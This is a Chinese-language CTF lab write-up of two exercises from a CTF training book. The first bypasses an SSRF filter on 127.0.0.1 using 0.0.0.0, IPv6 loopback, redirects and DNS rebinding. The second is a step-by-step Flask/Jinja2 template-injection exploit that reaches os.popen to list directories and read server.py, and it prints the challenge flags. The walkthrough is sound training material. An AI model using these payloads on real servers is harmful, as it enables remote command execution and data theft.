[第三章 web进阶]Python的安全问题
介绍:记录一下笔记,方便以后迅速回忆使用。
《从0到1:CTFer成长之路》书籍配套题目,来源网站:《从0到1:CTFer成长之路》
1.Python里的SSRF
- 题目提示
尝试访问到容器内部的 8000 端口和 url path /api/internal/secret 即可获取 flag
127.0.0.1是本机的环回地址,0.0.0.0代表本机上任何IP地址,因此可以利用0.0.0.0来绕过127.0.0.1的过滤。
– flag
n1book{1132e28b5433c878}
- 不过还有其他不同的方式,得多尝试一下,
- 官方wp
本题有多重解法
- `0.0.0.0:8000` 绕过
- `[::1]:8000` 绕过(需要支持 ipv6)
- 重定向跳转到 `127.0.0.1:8000`
- dns rebinding 输入一个域名,第一次解析到非 `127.0.0.1` 地址上,第二个解析到 `127.0.0.1` 上。
2.python模仿注入(SSTI)
访问地址,提示 password is wrong
,但是没有输入密码的地方,所以从 url 提交,发现可以识别和回显。
../?password={{7*7}}
- 根据回显的结果可以判断这是一个flask模板注入
提交
password={{123*123}}
,发现页面上可以回显运行结果,猜测存在模板注入,从 response headerServer: Werkzeug/1.0.1 Python/3.7.7
看,应该是 Python 的模板注入。
-
通过以下语句拿到可用的类的列表
../?password={{"".__class__.__bases__[0].__subclasses__()}}
我们需要的是os命令执行类<class 'os._wrap_close'>
-
我们要判断他所属的位置,这样才能进行索引,但干用眼睛看肯定太麻烦,我这有个小技巧,将全部类复制放到pycharm(与他有同样功能的工具也行),我们索引逗号的位置,我们索引到我们需要类的位置,再在索引他前面逗号的位置,我这里索引的结果是127,如果不对上下浮动几位看一下,大概就这个位置,我这127是正确的,
-
我们可以先看一下我们索引的是否正确,输入url
../?password={{"".__class__.__bases__[0].__subclasses__()[127]
– 我这里索引的结果是127,如果不对上下浮动几位看一下,大概就这个位置,我这127是正确的,所以索引结果就是
<class 'os._wrap_close'>
- 构造语句,并执行ls命令(对方是Linux服务器,所以要使用Linux命令)
../?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls').read()}}
├── app
├── bin
├── boot
......
└── var
-
其中最引起我们注意的就是app这个文件夹
-
经过一些尝试(目录遍历什么的),我们得知flag就在
/app/server.py
中,我们直接用cat查看文件内容就行
../?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('cat /app/server.py').read()}}
password is wrong: from flask import Flask from flask import render_template from flask import request from flask import render_template_string app = Flask(__name__) # FLAG: n1book{eddb84d69a421a82} @app.route('/') def index(): password = request.args.get("password") or "" template = ''' <p>password is wrong: %s</p> ''' %(password) return render_template_string(template) if __name__ == '__main__': app.run(debug=False, host="0.0.0.0", port=8000)
- 其中我们要的flag就是
FLAG: n1book{eddb84d69a421a82}
- 成功!!!
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92727.html